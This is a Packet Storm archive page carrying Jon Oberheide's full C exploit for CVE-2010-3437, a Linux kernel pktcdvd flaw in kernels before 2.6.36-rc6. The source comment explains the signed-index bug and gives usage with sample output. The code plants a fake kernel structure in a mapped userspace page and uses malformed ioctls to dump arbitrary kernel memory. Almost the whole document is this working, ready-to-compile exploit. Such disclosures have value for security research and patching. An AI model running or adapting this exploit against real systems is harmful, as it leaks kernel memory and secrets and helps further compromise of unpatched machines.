exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel pktcdvd Kernel Memory Disclosure

Linux Kernel pktcdvd Kernel Memory Disclosure
Posted Sep 29, 2010
Authored by Jon Oberheide

Linux kernel versions prior to 2.6.36-rc6 pktcdvd kernel memory disclosure exploit.

tags | exploit, kernel
systems | linux
advisories | CVE-2010-3437
SHA-256 | bcaeadc0f0bddd7bd8801078daa8979e9919c284cca685426f03dee6b47267a6

Linux Kernel pktcdvd Kernel Memory Disclosure

Change Mirror Download
/*
* cve-2010-3437.c
*
* Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* https://bugzilla.redhat.com/show_bug.cgi?id=638085
*
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
* pktcdvd_device from the global pkt_devs array. The index into this
* array is provided directly by the user and is a signed integer, so the
* comparison to ensure that it falls within the bounds of this array will
* fail when provided with a negative index.
*
* Usage:
*
* $ gcc cve-2010-3437.c -o cve-2010-3437
* $ ./cve-2010-3437
* usage: ./cve-2010-3437 <address> <length>
* $ ./cve-2010-3437 0xc0102290 64
* [+] searching for pkt_devs kernel symbol...
* [+] found pkt_devs at 0xc086fcc0
* [+] opening pktcdvd device...
* [+] calculated dereference address of 0x790070c0
* [+] mapping page at 0x79007000 for pktcdvd_device dereference...
* [+] setting up fake pktcdvd_device structure...
* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
* [+] dumping kmem to output...
*
* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
*
* Notes:
*
* Pass the desired kernel memory address and dump length as arguments.
*
* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by
* specifying a large negative device index, causing the kernel to
* dereference to our fake pktcdvd_device structure in userspace and copy
* data to userspace from an attacker-controlled address. Since only 4
* bytes of kmem are disclosed per ioctl call, large dump sizes may take a
* few seconds.
*
* Tested on Ubuntu Lucid 10.04. 32-bit only for now.
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/utsname.h>
#include <sys/mman.h>

#define DEV_INDEX -300000000
#define PAGE_SIZE 4096
#define PKT_CTRL_CMD_STATUS 2

struct pkt_ctrl_command {
uint32_t command;
int32_t dev_index;
uint32_t dev;
uint32_t pkt_dev;
uint32_t num_devices;
uint32_t padding;
};

#define PACKET_IOCTL_MAGIC ('X')
#define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command)

struct block_device {
uint32_t bd_dev;
} bd;

struct pktcdvd_device {
struct block_device *bdev;
} pd;

#define MINORBITS 20
#define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi))

uint32_t
new_decode_dev(uint32_t dev)
{
unsigned major = (dev & 0xfff00) >> 8;
unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00);
return MKDEV(major, minor);
}

const char hex_asc[] = "0123456789abcdef";
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]

void
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii)
{
const uint8_t *ptr = buf;
uint8_t ch;
int j, lx = 0;
int ascii_column;

if (rowsize != 16 && rowsize != 32)
rowsize = 16;

if (!len)
goto nil;
if (len > rowsize)
len = rowsize;
if ((len % groupsize) != 0)
groupsize = 1;

switch (groupsize) {
case 8: {
const uint64_t *ptr8 = buf;
int ngroups = len / groupsize;

for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%16.16llx ", (unsigned long long)*(ptr8 + j));
ascii_column = 17 * ngroups + 2;
break;
}

case 4: {
const uint32_t *ptr4 = buf;
int ngroups = len / groupsize;

for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%8.8x ", *(ptr4 + j));
ascii_column = 9 * ngroups + 2;
break;
}

case 2: {
const uint16_t *ptr2 = buf;
int ngroups = len / groupsize;

for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%4.4x ", *(ptr2 + j));
ascii_column = 5 * ngroups + 2;
break;
}

default:
for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
j++) {
ch = ptr[j];
linebuf[lx++] = hex_asc_hi(ch);
linebuf[lx++] = hex_asc_lo(ch);
linebuf[lx++] = ' ';
}
ascii_column = 3 * rowsize + 2;
break;
}
if (!ascii)
goto nil;

while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
linebuf[lx++] = ' ';
for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
: '.';
nil:
linebuf[lx++] = '\0';
}

void
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii)
{
const uint8_t *ptr = buf;
int i, linelen, remaining = len;
unsigned char linebuf[200];

if (rowsize != 16 && rowsize != 32)
rowsize = 16;

for (i = 0; i < len; i += rowsize) {
linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
remaining -= rowsize;
hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
linebuf, sizeof(linebuf), ascii);
printf("%s\n", linebuf);
}
}

unsigned long
get_kernel_symbol(char *name)
{
FILE *f;
unsigned long addr;
struct utsname ver;
char dummy, sname[512];
int ret, rep = 0, oldstyle = 0;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
goto fallback;
}
oldstyle = 1;
}

repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}

fclose(f);
if (rep) {
return 0;
}
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3)) {
oldstyle = 1;
}
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL) {
return 0;
}
rep = 1;
goto repeat;
}

void
usage(char **argv)
{
fprintf(stderr, "usage: %s <address> <length>\n", argv[0]);
exit(1);
}

int
main(int argc, char **argv)
{
int fd, ret, length;
void *mem, *dump, *ptr;
struct pkt_ctrl_command cmd;
unsigned long pkt_devs, map_addr, deref_addr;
unsigned long start_addr, end_addr, curr_addr;

if (argc < 3) {
usage(argv);
}

start_addr = strtoul(argv[1], NULL, 0);
length = strtoul(argv[2], NULL, 0);
end_addr = start_addr + length;

dump = malloc(length);
if (!dump) {
printf("[-] failed to allocate memory for kmem dump\n");
exit(1);
}
memset(dump, 0, length);

printf("[+] searching for pkt_devs kernel symbol...\n");

pkt_devs = get_kernel_symbol("pkt_devs");
if (!pkt_devs) {
printf("[-] could not find pkt_devs kernel symbol\n");
exit(1);
}

printf("[+] found pkt_devs at %p\n", (void *) pkt_devs);

printf("[+] opening pktcdvd device...\n");

fd = open("/dev/pktcdvd/control", O_RDWR);
if (fd < 0) {
printf("[-] open of pktcdvd device failed\n");
exit(1);
}

deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *));
map_addr = deref_addr & ~(PAGE_SIZE-1);

printf("[+] calculated dereference address of %p\n", (void *) deref_addr);
printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr);

mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == MAP_FAILED) {
printf("[-] mmap failed\n");
exit(1);
}

printf("[+] setting up fake pktcdvd_device structure...\n");

*(unsigned long *) deref_addr = (unsigned long) &pd;

printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr);

memset(&cmd, 0, sizeof(cmd));
cmd.command = PKT_CTRL_CMD_STATUS;
cmd.dev_index = DEV_INDEX;

ptr = dump;
curr_addr = start_addr;

while (curr_addr < end_addr) {
pd.bdev = (struct block_device *) curr_addr;

ret = ioctl(fd, PACKET_CTRL_CMD, &cmd);
if (ret < 0) {
printf("[-] ioctl of pktcdvd device failed\n");
exit(1);
}

*(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev);

curr_addr += sizeof(uint32_t);
ptr += sizeof(uint32_t);
}

printf("[+] dumping kmem to output...\n");

printf("\n");
print_hex_dump(32, 1, dump, length, 1);
printf("\n");

return 0;
}



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close